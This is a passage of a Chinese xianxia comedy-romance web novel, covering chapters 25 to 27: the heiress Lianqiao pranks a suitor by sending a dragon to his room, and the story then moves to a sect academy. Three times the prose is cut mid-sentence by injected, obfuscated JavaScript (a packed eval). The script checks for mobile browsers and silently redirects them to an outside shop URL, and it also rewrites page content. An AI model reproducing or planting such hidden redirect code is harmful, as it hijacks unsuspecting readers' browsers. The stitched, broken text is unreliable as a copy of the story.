“小小姐,您要的茶水点心都在这里,可有别的需要了。” “没有了,你先下去吧,有事我叫你。” 头顶灯笼的光并不亮,连乔望着一城的灯火,安安静静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897179|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将自己拢在熹微的光泽中。 身后传来窸窸窣窣的声音,连乔转过头来,她一愣,“怎么是你?” “你在等谁?他没来吗?” 敖周身后将酒壶盖子推了,往嘴里一倒,一壶酒瞬间见了底。 连乔靠在栏杆上,“你来这里做什么?” 敖周喝完了酒,这酒味道不错,就是太少了,他抬头望着面前这位小气的债主,大手一挥,躺在座椅上,双手靠在脑后。 “我在秘境中沉睡多年,好不容易醒了,不得出来玩乐玩乐?” 九州大陆,最大的玩乐之地就是这云来城。 他醉生梦死完,觉得索然无味,就找个地方休息,刚好碰到了坐在这里,不知在干什么的连乔。 他伸手将摆在桌上的点心抄起,这是几个长盘子,每个盘子中都装了极为精致的点心,一概是六颗,大小一样,摆盘也是同样讲究。 敖周一手抓一只,嘴一张,竹筒倒豆子一样将一桌的点心都塞进了肚中。 连乔:“……你吃得还挺多。” “抱歉,方才放纵得尽兴,体力消耗得太大。”说着他又开了一壶酒,“吨吨吨”地倒进了嘴里,“你懂的。” 连乔:“咦~” 男人放浪形骸,衣服领口开得极大,半披在身上,能看到他胸口虬结的肌肉以及肩上与脖子上的刺青。 “不是我说,你也太磕碜了,就点这么点东西,招呼谁呢?” 敖周换了个舒服的姿势坐起来,“是不是钱不够?” 连乔定定望着他。 敖周了然一笑,“这样吧,你许一个愿望,想要腰缠万贯也可以,想要富甲一方也无妨,我攒了些金山银山,让你过上好日子不难。你若是愿意……”他指着借酒楼,“你想日日在这里销金,也无妨。” “不用了。”连乔淡淡道,“不用你我也可以在这里日日销金,我是这里的老板。” 她指着面前的灯海,“那里,还有那儿,那儿,那儿,以及那儿,那儿,那儿……基本上这一片,都是我的。” 敖周一口酒喷出来。 他顿了一下,这姑娘看着温吞低调的,她怎么能从这么平静的嘴里说出这么热烈的话来。 他望着她很久,发现她好像不是在开玩笑。 敖周的思绪翻涌。 “就算你有钱……那你也不能随随便便什么都能得到吧?” “比如呢?” “比如我的真心。” 连乔:“???” 敖周正襟危坐,“不是我说,我敖周也是妖域中少有的美男子,你虽然有钱,应该也缺少温床暖被的爱人吧。” 他直言不讳,“你要不要试试?” 连乔:“我不要。” 敖周热烈地推销自己,“我知道你本体也是妖族,狂野奔放,在我面前你大可以不用这么内敛,你放心,我们族人个个勇猛善战,且天赋异禀结构也不同,你试试,不会让你失望的。” 连乔:“……” 她沉默了一下,“真不用了,谢谢你啊。” “不用美男么,也没关系。”没将自己推销成能吃软饭的小白脸,敖周也不气馁,开始推销别的。 “没关系嘛,你有钱,也不缺爱人,你总得要权吧,我骁勇善战,若你愿意,我可以为你打下一片江山。” 连乔诚实道,“……倒也不用,我已经有一宗门了,也不大,子午谷,大概是妖修类宗门中排名前三吧。” 这下,敖周真沉默了。 他摇头,“虽然你什么都有,但你肯定没有什么。” 连乔讪讪笑了一下,“我虽然什么都有,但是我没有烦恼啊。” 连乔道:“我呢,目前现在什么也不缺,什么也不需要,这三个愿望留着吧。” 敖周摇头,“那不行!” “为什么不行?” “我很快就要渡劫成功了,届时便是青龙上天,青龙的三个允诺,那可不一样了。” 连乔:“?” 敖周一脸严肃,“那是另外的价钱!” 25.第 25 章 连乔向来不惯着对方,“也不一定,你要是渡劫中间死了,三个愿望都不用兑现,那你占便宜了。” 敖周:“……” “你放心吧,我许愿归许愿,不会让你造下业障的。”连乔沉默了一下,“你都这样了,估计已经造了不少业吧?” 敖周:“也没有。” “真的吗,我不信。” 敖周很少这么无语过。 “行吧,小爷等着你许愿。”敖周无语归无语,他重新靠回椅子上,“为了能够更好地服务你,以便你能随时召唤随时许愿,现在我就跟着你了,你帮我安排一间上好的厢房,这里有名的菜肴美味各来一桌,作为你的欠债人,我有欠债人的觉悟。” 连乔:“好的,你自己下去挑吧,看上的都记在我账上。” 敖周:WOC,这么爽快,果然是大户人家。 他真的是目瞪口呆。 这是什么世道了,他睡了几十年,外面就已经发展成这个样子了吗? 正当他暗自菲薄时,花亭里走来一个人。 望着花枝招展的迟来风,连翘挑一挑眉,“二公子啊?” “还真是你。”迟来风收起扇子,笑了笑,“方才我还以为听错了,原来真是你,抱歉,前几日失礼了。” 他向来做事周到,若说是失礼,大概说的就是胧月秘境中的事了。 连乔笑笑,“没有失礼,来风公子向来怜香惜玉,保护弱小是应该的。” “哈哈,见笑了,不过是同门师兄妹,所以自然要帮一把。若是因此而得罪连翘姑娘,迟某可就不胜惶恐了。” 正说着,又有一人走进花亭,连乔原本兴致缺缺,见到迟星垂,便觉得这昏暗的灯光也跟着明亮起来。 “啊,你真来啦,我还以为你不来呢!” “你找我,有什么事么?” “没什么事啊,找你叙叙旧。”连乔让人把敖周吃过的东西喝过的酒撤了,上了新的果实与灵酒,“我刚好过云来城,没想到你也在,找老友叙叙旧如何了?” 她请迟星垂和迟来风喝酒,期间迟来风的表情很微妙,似乎对她和迟星垂的关系有打量,更多的是考究。 连乔想起原著中,连翘将迟星垂掳入子午谷后,迟星垂宁死不从,据那不着调的系统说,连翘对迟星垂没做什么,他不同意她也没强迫,但是根据小说后期的走向来看,迟星垂对子午谷恨之入骨,想必他在子午谷的那段期间,还是受了不少委屈的。 连翘不会对他做什么,她没那么多整人的方法,但是她的那群手下——瞳曜就不一样了。 后来迟星垂拼命逃出子午谷,终于重获自由身,明明子午谷将消息封锁得很好,他被幽禁半年的这件事,还是被泄露出去。 谁泄露的? 迟星垂性格清冷,和他深交的人不多,他除了在乾元剑宗无虞峰外,基本上就是在云岭迟家—— 会不会是,自家人泄露了风声吧? 连乔望了一眼迟星垂,“你来借酒楼怎么都不提前与我说一声,若不是我看到了,我都不知你们是我这里的常客。” 迟来风笑了笑,“我常来是常来,不过没见过楼主。” “是的,我长住子午谷,比较少来这里,你没见过我正常。” 太正常了,她也是刚刚得知原主母亲给原主留下一大份遗产,连本人都是刚知道的,何况外人惊讶。 迟星垂安静地捏着杯子,他不喝酒,连乔让人送上几瓶玉露。 “我听说,云岭看中了青光府的一批法器。”连乔忽然转移了话题。 迟来风眯了眯眼,语气有一丝不善,“连姑娘在打听什么?” “没有打听啊。”连乔抽出一本密文,“啊,忘了说了,青光府也是我家的。” 躺在花丛里喝酒的敖周:“噗……” 连乔望向迟星垂,“青光府今日来同我说,云岭要买一批可防妖气和瘴气的法器,我们青光府的法器是由专门的炼器师炼就而成,品质有保证,所以价格相对其他店铺来说很高,但这高价也在情理之中的。” 说完她放慢了语气,“我知道你们云岭家大业大,向来不差钱。” 迟来风摇了摇扇子,开玩笑道,“这么说,东西你愿意送给我们?” “那当然是不能的。” 连乔笑一笑,“迟公子,我是生意人,你知道的嘛,生意人最不能吃亏了,太亏本不利于良性循环。” “但是呢,我和你们是朋友,朋友都是要相互帮忙的,钱上有问题,那都不算问题。” 迟来风点头,“当然,我们也不会让你吃亏。” “妖族近日来小动作太多,云岭是大家族,早就察觉到了异常,所以提前布置。”迟来风道,“既然连翘姑娘已经这么说了,我们也会拿出最大的诚意。” “晚些时候,青光府的当家人会上门拜访迟家家主,家主有什么需要的,届时一并提出便可,同样,我们也会给出最大的诚意。” 聊完了,二人起身离开,连乔望向迟星垂,“大公子,看见我,你似乎不怎么开心。” 迟星垂反问:“我应该开心么?” “毕竟我们也是熟人了嘛。”连乔晃了晃胳膊,“你现在好吗,身体可还好啊?” 迟星垂道:“我很好,谢谢。” “你好就好,我可是最担心你不好了。” 迟星垂继续冷言冷语,“你放心,为了你,我会长命百岁的。” 迟来风转过头,目光将连乔从上到下扫一遍,又望向迟星垂,“你们俩很熟吗?” “不熟。” “很熟。” 两个人几乎同时回答,连乔“哈哈”一笑,“我和他当然很熟啦,不然怎么会给你们折扣呢,我和你又不熟,只能和他熟呀。” 连乔没心没肺地笑,“是不是呀迟大公子?” 迟来风想起半年前连翘死缠烂打的模样,心中微微生出一丝异样来。 像是……被背叛了一般。 “连姑娘说笑了。” 在连乔对着迟星垂的背影摆手告别时,迟来风站在原地,“连翘姑娘,我们之间有一段误会,我想我有必要跟你解释一番。” “啊?”连乔有些为难,“可是我等会儿还有事哎。” “不急。”迟来风了然一笑,露出那可以迷死万千窈窕淑女的笑容,将一张通讯符塞到她手中。 通讯符上贴了他的房间号。 “连姑娘,有些事呢,可以慢慢聊,夜色正好,风月之下,如何聊都好说。” 迟来风离开后,敖周从花丛中钻出来,他望向兄弟俩离开的背影,“这俩小兄弟都不错啊。” 连乔点头,“是啊,是都不错啊。” “看着有些面熟啊。” “面熟?对啊,你们前几日在胧月秘境见过。” “不,不是。”敖周回想一番,“应该在很早以前,很久很久了,我记不太清了。” 好像是这个人,但应该不是,他见过的那个人,好像是个女人来着。 罢了,世间长得像的人多了去了,不过是两副比较漂亮的皮囊而已,何必上那么多心。 连乔还在望着两人离去的方向,不知道在想些什么。敖周问:“你喜欢他们?我有办法给你搞过来。” “两个都可以么?” “两个?”他愣了一下,“啊?!” “也不是不可以。”敖周为难地看着连乔,“你刚刚拒绝我,我还以为你洁身自好,没想到你这么会玩。” “你先别急啊,你看什么时间合适,我去一个个抓。” 连乔朝他眨眨眼。 小姑娘明眸善睐,五官立体,有种明媚的美,但是笑起来又有种乖巧的甜。 敖周心中微微一动。 这么漂亮的美人儿若是愿意与他共度春宵美景,别说兑一个愿望,就是让他再贴一个愿望,不,再贴三个愿望,他也是愿意的。 连乔收起笑容,摇摇头,“别急嘛,他们的事以后再说。” 他伸手,将迟来风给她的通讯符塞到敖周手中,又轻轻用食指一勾,将通讯符往下压了压,“现在的事比较重要哦。” 敖周挑了挑眉,“哦?” “不见不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897839|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散啦。” * 连乔回到房间,林方生和一个黑衣的中年女子已经等候在房间中,桌上整整齐齐叠着十几本账本。 “小小姐,这位是严金娘,现在青光府、熹和楼以及羽衣坊都在她手上。” 林方生语气颇为自豪,“众人都以为我们借酒楼和熹和楼相互竞争彼此打压,但谁能知道,这云来城最大的两大楼,都是一家的。” 严金娘也跟着笑。 严金娘眉目严峻,但是说起话来却十分温柔,“是啊,除了一些不得当的产业,如赌坊地下城与妙音馆我们不碰外,其他的均有涉及,整个云来城的生意,几乎有一半,都是我们的。” 说话间,连乔摸清了露不霜给连翘留下的资产。 和连乔汇报完,严金娘拉住连乔的手,还没说话,先红了眼眶,眼尾立刻浮现出一片异常绚丽的鱼鳞。 她轻轻擦了一下眼睛,眼上的鱼鳞又散去,恢复成原来皮肤平整时的样子。 “抱歉,小小姐,看到你,想起了一些不好的事。” 连乔不太会处理人际关系,之前的那一世,从来都是习惯了一个人,也从来没处理过这些。 她有些不自在,缓了一瞬后,尴尬笑一笑。 “小小姐,你已经长得这么大了。” 严金娘微微呼了一口气,她用手比划一下,“上一次见你,你才这么点大,大小姐带着你去了子午谷,没想到一别就是这么多年,这么多年,发生太多事了,大小姐也不在了。” 她的声音温柔,“小小姐,你叫我严姨便好。” 露不霜本是妖域某世家的小姐,妖族被魔族赶出百丈河外后,世家覆亡,她便来这云来城讨生活。 云来城的妖族人很多,露不霜做事周全体面,性格温和,生意也越来越大。 除此之外,露不霜性格也十分善良,救济了不少同她一样的流落出来的妖族。 后来她带着连翘嫁给子午谷玉非缘,离开云来城,但是这边的生意却一直没有停。 严金娘将账本打开给连乔看,现在云来城将近一半的产业,都是露不霜留给她的。 露不霜去了子午谷后,不久染了重病,很快撒手人寰。 到现在为止,已有十六年,连翘十七岁。 * “公子,您离开后,二公子留下了自己的房牌给了连翘姑娘,连翘姑娘收下了。” 迟星垂正在看书,闻言手微微一顿。 吴影站在一边,他的相貌和那位唤作吴息的人一模一样,“方才吴息传来讯息,连翘姑娘将借酒楼和青光府等云来城首屈一指的掌店人叫进门去,借酒楼的保密和隔音一直做得很好,即使是吴息,也听不清里面在谈论些什么。” “不过等那些人离开后,连翘姑娘就出去了,据吴息说,她是往二公子房间的方向去了。” 迟星垂皱起眉,吴影接着道,“后面连翘姑娘的影卫骑着狐狸回来了,那狐狸前前后后跟着她,离她太近很容易会被发现,吴息便退了回来。” 他汇报完毕,恭敬地待在一边。 “好的,你先下去吧。” 吴影退下去后,迟星垂捏了捏眉头,想到方才他说的话,心中不由地一阵烦躁。 连翘在做什么? 先前她性格有所收敛,她还以为她能明是非辨良人,没想到现在,迟来风勾了勾手指头就上钩了么? 以迟来风的手段和脾性,和他扯上关系,她会被吃得连骨头都不剩。 迟星垂不想管这事,考虑到他现在与连翘情绪相连——不,没有相连,是他为了能提前分辨出连翘是否出现异常,防止她不明不白坠魔,单方面没有食用抑制重心蛊的解药。 他能够体会连翘情绪的波动。 就比如现在,他的心跳在剧烈跳动,这不是他自己的情绪——当然是来自连翘的。 她到底在兴奋什么?! 迟星垂不喜欢偷窥别人的隐私,更不想在这种事上沾边,他来回翻了一下芥子,这才发现,前些日连翘给他备的绝意丹没有了。 全被他喂了池子里的锦鲤。 26.第 26 章 门“吱呀”一声开了。 灯是关的,屋里安静得能听到脚步声。 香炉内的熏香还燃着,烟火一明一灭,空气中也飘散着沁人心脾的合欢花香味。 朦朦胧胧的,床上应该是躺了一个人,听到动静,他坐起来。 敖周了然一笑。 他摸黑将衣带松开,长衣松松垮垮挂在腰间,也被这浓郁的合欢染了香味。 迟来风感受到连翘的动静,果然妖域中人放得开,即使是收敛很多的妖修,手段也是多样得狠。 就比如现在,连翘已经虚跨坐在他腰间,迫不及待将他推倒在床,整个人很快就要贴上来。 美人儿如此主动,他哪有拒绝的理儿? 于是他也自然地上手去摸,从美人的脚,到美人的腿——嗯?他摸到了一个毛茸茸的腿。 连翘是妖修,本体似乎是一只九尾狐,而且现在的她身量也比之前的大了许多。迟来风想,她不会化形了吧? 虽然迟来风向来放得开,但还不想玩得这么花哨,也并不想连翘一上来就这么直抒胸臆,以自己本来的面貌来对待他。 但是对方明显很兴奋,一把将他按下,迟来风抗拒几次,反倒让他下手的力度更重。 迟来风贴在她的腰间,闻到他身上淡淡的龙涎香。 特意换香了? 和她习惯用的香味不太一样,但是也好闻,有种野性的清冽。 迟来风“啧”了一声,说实在的,他比较喜欢温柔缱绻的,但是这样子狂野,也是别有味道。 他继续去摸连翘的腿,越摸越觉得不是滋味儿,他还是想温和些,斟酌一番开口和对方商量,“连翘姑娘,即使情难自禁,我也还是希望能慢慢来。” 空气忽然安静几分。 迟来风当她是害羞了,他按住她的肩膀,“放轻松,别这么性急,风月无边,我们有得是时间。” 正衣袍半解的敖周……当场石化。 他没有听错吧? 这怎么是个男人的声音。 他立刻掏出那张通讯符,符箓上有可开房间的口令,他打了一个响指,用指尖燃起的微弱火光去看通讯符上的字。 没错啊,就是这间。 怎么回事! 那一端,迟来风也感觉到了异样,在敖周亮烛火的瞬间,他看清了他的脸。 WOC!这不是连翘,这是谁?! * 迟星垂在敲连乔的门,抱着试一试的态度去找她。 她方才可能是有什么事出去了,未必就是去找迟来风。 敲了几次门都没有反应。 一个黑乎乎的人影站在阴影处,他开口问,“迟公子,有什么事么?” 默非略带考究地看着他,迟星垂道:“我找连翘有些事,她在么?” “她不在。”默非拢了拢袖子,光影明灭,看不清他什么表情,他的声音也听不出什么情绪。 “你找她?” “是。”迟星垂回道,“不是什么急事。” “她去找迟二公子了,在十楼那边的房间里。”默非指向楼下的一个方位,语气仍旧意味不明。 “既然她不在,我明日再找她吧。” 迟星垂压制住胸口的兴奋,在默非转身前,他叫住他,“默非先生。” 默非拢着袖子望向他,“有什么事么?” 迟星垂将要绝意丹的想法压下去,“没,没什么。” 他现在不能打草惊蛇,不能让连翘他们知道自己没有服用压制重心蛊的解药。 他在十二楼转了一圈,最后回到自己房内。 心中的兴奋和燥热迟迟不肯散去,时而心惊,时而期待……迟星垂不知道,为什么一个人会有这么多这么浓烈的情绪! 念了两遍清心咒,也没有将脑中奇奇怪怪的念头拂去,迟星垂索性往起一坐。 迟来风的房间在七楼。 整座借酒楼极大,建造并不规整,与其说是一栋楼,其实更像是一连片的建筑。 一至五楼是用餐的地方,六至十楼则是依托山体建成的一整片店铺,里面的产业各种各样,但都属借酒楼所管,有客房,有食铺,也有浴堂,甚至连修炼的炼场也建造完整,且十分壮观。 与其说借酒楼是一座楼,倒不如说是一座微观城。 所以连乔在得知自己是借酒楼的主人时十分吃惊,就连迟来风在得知借酒楼归连乔所有,也对她有所改观。 迟星垂在迟来风的房间前站了一会儿,这里是在一处半露的山峰处,侧边有一处极大的平台,平台上种了花,连在房间内部,有一处极好的视野。 以往迟来风来云来城玩乐,也是住在这一间客房的。 客房里传来“轰轰隆隆”的砸东西声,忽然“哗~”一声,原本已熄灯的房间的灯“轰地”全部重新打开,又听到里面迟来风气急败坏的大骂声。 “滚!滚出去,给我滚出去!” 迟星垂皱起眉,正在想怎么通知三面狐将它的主人带回去时,门突然倒了。 应该是从里面被人踢坏的。 紧接着从房间里冲出来一个人……一个男人? 男人衣衫不整,衣服松松垮垮挂在自己身上,胸口大敞,露出一大片刺青。 迟来风在里面“呸呸”了两声,似乎有点恶心,“哇”一声吐了出来。 玄衣男子转过头破口大骂,“你吐什么吐,老子还没吐呢?我呸!” 迟来风又干呕两声,“滚,给我滚!” 迟星垂:“……” 没等他理清发生了什么,就听到旁边山林的阴影处爆出一声大笑,“哈哈哈哈哈,啊哈哈哈哈哈哈哈哈……” 连乔从黑暗中露出一个头,又慢悠悠地从平台假山脚下爬出来,爬出来后拍拍身上沾的灰。 她嘴里叼着苹果,笑得前仰后合,眼泪都要出来了,她伸手将嘴里的苹果拿在手里。 苹果啃了一半,看上去她在这里已经待了有一会儿了。 看到迟星垂,连乔有些吃惊,“你怎么在这里?” 迟星垂睁眼说瞎话,“我来找迟来风。” “哦。”连乔伸出手指擦了擦眼泪,“你来得真巧,来看好戏啊。” 在屋里的迟来风吐得差不多了,他气急败坏,“连翘你耍我?!” “没有呀。”连乔又把苹果拿在手里,一脸诚恳,“晚间你将房卡给我,不是找我谈生意的吗,我过来是找你谈事的,你是不是误会什么啦?” 迟来风一噎,“好,好好好,连翘,你……你真是好样的。” 连乔从鼻间“嗤”出一声,“我当然知道我好呀。” 迟来风:…… 他气急败坏,身上的衣服被外面那个狂徒撕破了,现在十分不体面。 他想换套衣服,但是门被他踹飞了,现在门关不了。 连乔“嘿嘿”一笑,又将苹果叼在嘴里,蹲在地上将门捡起来,靠在原来的位置。 迟来风伸手,将门扶正了,又用术法将门固定,完了觉得不安全,又在外面加了个结界。 他觉得十分恶心,想一想又想吐,强忍着连施两个清洁术给自己清洗干净,换上一套新的衣服。 连乔望着门再次被踹开,她耸肩,“迟二公子,您这是干嘛,我好害怕啊!” 你这模样,是哪门子害怕?! 迟来风指着连乔,他长这么大,头一次受这么大的气,“你、你……” “我什么?” 迟来风拂袖而去,连乔跟在后面大喊,“二公子,你把我们家门踹破了,你记得赔我门呐。” 连乔的声音回荡在整个七楼。 迟来风不说话也不回答,连乔继续喊,“来风公子,别忘了呀,你下次来,记得赔我门!” 迟来风忍无可忍,他转过身,往地上丢了一袋子灵石,“不会再有下次了,你这个疯女人!” 这鬼地方,他再也不会来。 这个疯女人,他再也不见到了! 连乔“啊”了一声,“别这样啊迟二公子,你怎么好好地骂我是疯女人呢?” 她似乎在听到疯女人这三个字后气急败坏,“你才是疯子呢!你走,你走得远远地,我们借酒楼不欢迎你这样骂人的人儿,你有本事你就去对面的熹和楼啊,你有本事去那里!” 望着迟来风越跑越快的背影,连乔吐了口气,心想我真是个好老板,这种情况下,还不忘推销我的另一栋楼。 她心满意足,捡起地上迟来风丢下来的灵石袋。 随后转过头望向迟星垂,甜甜地朝他一笑,“啊,迟大公子,迟二公子跑出去了,你要不要去看看他,别让他受刺激发生什么意外了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903835|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 迟星垂被惊得目瞪口呆。 他顿了顿,“不用了。” 连乔撇撇嘴。 旁边的敖周抱着胳膊,站在一旁,已经站很久了。 他到现在终于是弄清楚发生了什么事。 敖周上下打量了一番连乔,“你耍老子呢?!” 连乔将迟星垂的灵石袋丢给他,“送你了。” 打开一看,一、二、三……三十颗上品灵石?! 还有三颗上品妖晶? 一颗妖晶是百年修完,三颗就是三百年…… 敖周顿了一下,他双手抱拳,“老板。” “今后你有什么需要尽可开口,小弟定当为你赴汤蹈火在所不辞!” 迟星垂闭上了双眼,单手捏住太阳穴。 他是不是在做梦,这都是什么事儿。 疯了,这一群人都疯了。 * 温和的月光从落在屋檐上,云来城的灯光熄了一片,在借酒楼上往外看,便是一片星星点点的灯火。 一连折腾了几天,连乔也没怎么休息,此时万籁俱寂,便觉得困意上涌。 好在她现在没有醉生梦死,身体倍儿棒,所以只是一瞬间觉得疲惫,伸了个懒腰,很快又恢复过来。 旁边的玄衣男人捏着钱袋子,瞥了一眼连乔,“老板你这身体不太行啊,需不需要大补丸?” 他不知道从哪里摸出来一把黑乎乎的药丸,“金刚大力宝,保你神清气爽威风不倒,一颗灵石一颗药,良心价,童叟无欺。” 连乔:“不要,谢谢。” 熬粥“嘿嘿”一笑,被拒绝了也不气馁,“老板,你这身体亏空太厉害了些,虽然现在在使劲弥补,往正道上走,但实打实的一步步走,太辛苦了,你用我的药,保证能让你一步登天,快速筑基!” “快速筑基?”连乔眉头一皱,忽然想起原书里面,原主就是服用了某种药物来强行筑基的,但是她根基不稳,虽然筑基成功,但是路子越走越歪,到最后功法全废,功亏一篑。 “不用啊,谢谢。”连乔语气诚恳,“不如这样吧,你不是还差一步就渡劫成龙了嘛,要不然你把这药吃了,这对你也很好。” “那可不行。”敖周将药收回,“我的修为是一点一滴积累的,路也是一步一步走出来的,成就大道哪有走捷径偷懒的理儿?” 连乔点头,“同理,这句话也应该用在我身上。” 她望着头顶上忽明忽暗的星星,“该偷的懒我会偷,该走的路我也会走,这条路我会一直走下去,并且会走的很远,很长。” 努力是往前走最轻松的办法了,就像她上辈子,明明到了那样的境地,也仍旧是一步一步走到自己想要的地方。 凉风拂过,将女子鎏金色的裙摆轻微拉扯,连翘花落在她身上,她这个人也如同这花丛一样,灿烂而热烈。 她站了一会儿,一摆袖子,“回去了。” 走了一半,连乔又折回来,她望向迟星垂,“你今天过来的时候脸色好像有点不对。” “你是不是吃什么东西了?你的脸有点红,整个人还有点气哄哄的。” 迟星垂仍旧是冷言冷语,“没有,没事。” “没关系啊,你身体不好嘛,我知道的。” 敖周莫名其妙插一嘴,“他身体不好,你知道啊?” 虽然知道龙性本淫,但是连乔还是很不习惯敖周说话的方式,她决定找一天,好好给他一个教训。 “你不舒服可以跟我说,我让默非给你送药。” 迟星垂微微垂下眼,又听到她说,“你可千万不能生病,你生病了会连累我的,虽然我不痛,但是会让我身体受到损伤。” 迟星垂冷冷道,“不会,你放心。” 连乔:“哈哈,好好保重啊。” 迟星垂已经确定连乔和他一样是再活一世。她现在还没有被魔气吞噬,心地上不算善良,但是也没有做什么很大的恶事。 现在一切从头开始,很多事还没有再发生。新的一世,她也和前世不同,如果将以前的过往强行算到这一世头上,对她来说也不公平。 迟星垂, 深呼了一口气压制住心中汹涌的情绪。他对连乔说,“保重。” 连乔望着他的背影,朝他挥挥手,“我们很快会再见面的,后会有期啊。” 27.第 27 章 清晨的太阳破开层层叠叠的云层,将明媚的阳光泼洒在乾元剑宗的五十六峰上,三十六座主峰直插云霄,云雾翻滚,在阳光下折射出瑰丽的光芒。 远处山水相间,瀑布成群,仿佛是银河从天空中倾泻下来,壮观的惊心动魄。 早间的山林上露水还没有散去,空气中飘散着各种各样的花香味,恬淡而又幽静。 在这忙碌惬意的清晨,乾元剑宗上上下下早就开始忙碌起来,勤奋的弟子起得更早,环境匆匆忙忙,却又充满了欢声笑语。 “你是来找我的吗?” 一个鹅蛋脸,穿着弟子服的小姑娘远远地就看到了云招摇,她挥挥手,看云招摇也向她挥手,急急忙忙跑过来。 “招摇你还好吗?好几天没有看到你了,听锦绣说你受伤了。” “我没事了阿京,我已经找药师看过了,也服用了疗伤的药草,这几天已经好好休息过了,没有事了。” 云招摇弯着眉毛甜甜一笑,“谢谢你的关心呀。” 白花惊点点头,“我们俩是一同来乾元剑宗的嘛,当然要互相关心啦。” 云招摇本想说什么,她望了一眼白花惊,似乎又有些为难。 白花惊看着她,“招摇你有什么事就直说啊。” “阿京,能不能借一套衣服给我?我的弟子服在胧月秘境的时候弄坏了。” 说完又赶紧加了一句,“我月底肯定还给你。” 白花惊吐了吐舌头,“没关系的,你想什么时候给我都可以。” 小姑娘从小包中里取出一件崭新的衣服,“你快去换吧,我等你一起走,今天是严老先生的课,老先生脾气最不好,他不喜欢人迟到,你动作快一些。” 白花惊站在一边,等云招摇换好了衣服,一脸惊艳,“阿摇你真好看。” 乾元剑宗的弟子穿的都是统一的弟子服饰,衣服上有云纹装饰,按照每个弟子的身量裁剪而成,白花惊的身量和云招摇差不多,她的衣服云招摇穿起来刚好合适。 两个人匆匆忙忙的往学堂的方向赶,路上白花惊问云招摇,“阿摇,白祺怎么样了?听说她受了很重的伤,脸上的皮肤被腐蚀了,已经休养了很多天但还是没有好?” “白祺在秘境中遇到了乌蛇,被雌蛇的唾液灼伤了皮肤。”云招摇脸色戚戚,“可能会毁容。” 白花惊一惊,“啊?” “其实在秘境中,本来有办法补救的。”云招摇不无可惜,“也有闯秘境的人带着药,但是她与我们关系不好,不肯给阿祺用。” “啊?”白花惊有些不解,“谁啊?” “子午谷的连翘。”云招摇道,“她的芥子中有许多灵药,其中也包括修复容貌的驻颜丹。” 白花惊叹了一口气,“连翘是个性格很古怪的人,她和阿祺关系不好,肯定不愿意给她用药的。” 云招摇很是愤懑,“她怎么能眼睁睁看着别人受苦呢?” “啊呀,她可是臭名昭著的妖女,袖手旁观才是她的本性啊。”白花惊道,“不过还好啦,阿祺只是脸毁容了,没有性命之忧,乾元剑宗有那么多厉害的医师,肯定有人能帮白祺恢复容貌的。” 她安慰道:“你不用担心啦。” 白花惊过于单纯,想象不到人性的险恶。不过她家世显赫,背景优越,也不需要去面对外界那些恶意的揣测。 即使她毫无灵根,到现在也仍旧是练气期,也能够凭借家里的背景来冲虚学府修学。 云招摇真的很羡慕她,甚至都有些嫉妒。 总有人轻轻松松,就能得到一切你拼尽全力也够不到的东西。 但是想到白花惊空有好的家世,但天赋和能力却都很差,未来很难会有大造化,云招摇才松了口气。 也幸亏如此,在这样纯良的姑娘面前,自己才能够不用自惭形秽。 两个人边走边说,白花惊又问云招摇,“阿摇你现在胧月秘境有没有得到什么宝贝呀?” “唉,别提了。”云招摇有些闷闷不乐。 “怎么了啊?” “还是因为连翘。”云招摇道,“她也在秘境,不仅抢了我的碧心兰,还把所有的东西都拿走了。” “需要就能随便抢别人的东西吗,这怎么能行呢?” 白花惊又道,“她上一次入乾元剑宗就给你使绊子,结果不仅没有把你拉下水,还把自己赔进去了,让那么多长老讨厌她。” 小姑娘嘟着嘴,“我实在是不知道,怎么会有人脸皮这么厚,一次又一次地做坏事。” “不过阿摇,你居然拿到了碧心兰哎,你真的很厉害。”白花惊由衷感叹,“在长淮长老这一批的弟子中你是最优秀的。” 说罢她低头,喃喃道,“我好羡慕你啊。” 刚入门就筑基,实在是太厉害了! 云招摇不好意思地笑笑,“没有啦小阿惊,你也很好的。” 冲虚学院,是乾元剑宗下面的学堂,由乾元剑宗所管。 一直以来,乾元剑宗的弟子在各大门派中都是数一数二地强,有一部分原因便是具有一座极为浩大的学院。 学院教授各类课程,如修气、炼丹、试剑、学医……也教授各类理论知识,还增设额外课程,甚至包括六艺七技,各类奇技淫巧,涉猎极为广泛。 为保证教学到尾,冲虚学院聘用九州大陆最优秀的老师,这些老师来自天南海北,包括但不仅限于乾元剑宗。 在冲虚学府修行的弟子来自九州各地,大部分天赋极高,而各类各大世家也愿意将自家弟子送至冲虚学府修行,即使不为拜入宗门,在学府修行五年,也是增强本身提高修行的一个好方式。 因此,冲虚学府的名气,不小于乾元剑宗。 